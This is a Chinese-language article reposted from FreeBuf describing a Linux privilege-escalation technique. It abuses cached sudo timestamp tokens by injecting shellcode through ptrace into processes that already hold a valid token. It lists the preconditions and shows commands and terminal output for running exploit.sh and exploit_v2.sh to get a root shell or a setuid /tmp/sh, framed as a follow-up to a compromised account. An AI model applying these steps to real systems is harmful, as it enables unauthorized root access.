歡迎光臨
每天分享高質量文章

分享兩個利用sudo token實現提權的技巧

來自:FreeBuf.COM* 

參考來源:nongiach,FB小編Alpha_h4ck編譯

https://www.freebuf.com/articles/system/201559.html

技術介紹

我們在進行技術研究的過程中,發現有些時候sudo並不會要求我們輸入密碼,因為它“記得”我們。那麼它為什麼會“記得”我們呢?它怎麼識別我們的身份呢?我們能偽造自己的身份並拿到root許可權嗎?

實際上,sudo會在/var/run/sudo/ts/[username]目錄中為每一位Linux使用者建立一個單獨的檔案,這種檔案中包含了身份認證成功與失敗的相關資訊。接下來,sudo會使用這些檔案來記錄所有的身份認證過程。

如何利用系統中的漏洞?

$sudo whatever
[sudo]password for user:    # Press+c since you don't have the password. # This creates an invalidsudo tokens.
$ sh exploit.sh
....wait 1 seconds
$sudo -i # no password required 🙂

# id
uid=0(root)gid=0(root) groups=0(root)

實現要求

1、 完全啟用Ptrace(/proc/sys/kernel/yama/ptrace_scope == 0);

2、 當前使用者必須開啟一個擁有有效sudo令牌並且相同uid的活動行程;

註:預設密碼的超時時間為15分鐘,如果你在15分鐘內使用sudo兩次,系統就不會要求你再輸入使用者的sudo密碼了。

工作機制

專案目錄中的Exploit.sh會向當前使用者的所有行程註入Shell程式碼,並使用它們的sudo令牌來驗證我們自己的sudo口令。僅需三行Shell程式碼,一切皆有可能。

使用樣例

假設,你拿到了一個RCE,而且沒有使用者密碼,但標的使用者使用了sudo,那麼你就可以透過竊取他的sudo令牌來實現提權啦!

如何在實驗環境中模擬?

#echo 0 > /proc/sys/kernel/yama/ptrace_scope
# #Don't worry this is not persistent accross reboot

開啟兩個終端視窗:

1、 其中一個執行sudo命令,然後輸入正確的使用者密(sudo ls);

2、 另一個按照上述方法執行漏洞利用程式碼;

使用exploit_v2.sh在/tmp/sh中建立一個suid sh

如果exploit_v1無法成功的話,大家可以嘗試一下exploit_v2.sh:

$./exploit_v2.sh
Currentprocess : 2441
chmod:changing permissions of 'activate_sudo_token': Operation not permitted
Injectingprocess 1721 -> bash
Injectingprocess 2433 -> bash
cat:/proc/2446/comm: No such file or directory
Injectingprocess 2446 ->
$/tmp/sh -p
# id
uid=1001(test)gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)

參考連結

1、 https://www.redhat.com/archives/axp-list/2001-January/msg00355.html

2、https://www.sudo.ws/man/1.8.25/sudoers_timestamp.man.html

3、https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html

4、https://blog.habets.se/2009/03/Moving-a-process-to-another-terminal.html

5、https://www.linusakesson.net/programming/tty/

贊(0)

分享創造快樂